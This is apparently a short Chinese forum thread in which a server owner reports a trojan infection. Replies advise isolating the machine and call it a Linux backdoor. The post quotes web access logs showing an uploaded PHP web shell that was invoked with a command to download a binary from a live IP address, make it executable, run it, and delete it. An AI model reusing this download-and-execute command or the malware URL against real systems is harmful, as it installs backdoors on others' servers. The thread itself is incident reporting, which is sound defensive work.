服务器被安装木马程序

Q7788250

服务器人上传恶意文件 远程安装了 一个病毒程序
病毒文件下载地址: http://209.141.51.67/x86
154.12.42.216 - - [20/Jan/2022:10:38:43 +0800] "GET /Public/Uploads/2022-01-20/61e8cb3265d87.php HTTP/1.1" 200 38 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)"
121.196.223.32 - - [20/Jan/2022:10:40:46 +0800] "GET /Public/Uploads/2022-01-20/61e8cb3265d87.php?cmd=exec(%22wget%20http://209.141.51.67/x86;curl%20-O%20http://209.141.51.67/x86;chmod%20777%20x86;./x86;rm%20-rf%20x86%22); HTTP/1.1" 200 38 "-" "python-requests/2.27.1"

flyjerry

这是漏洞被发现了么？先隔离操作

ahov

Linux 后门病毒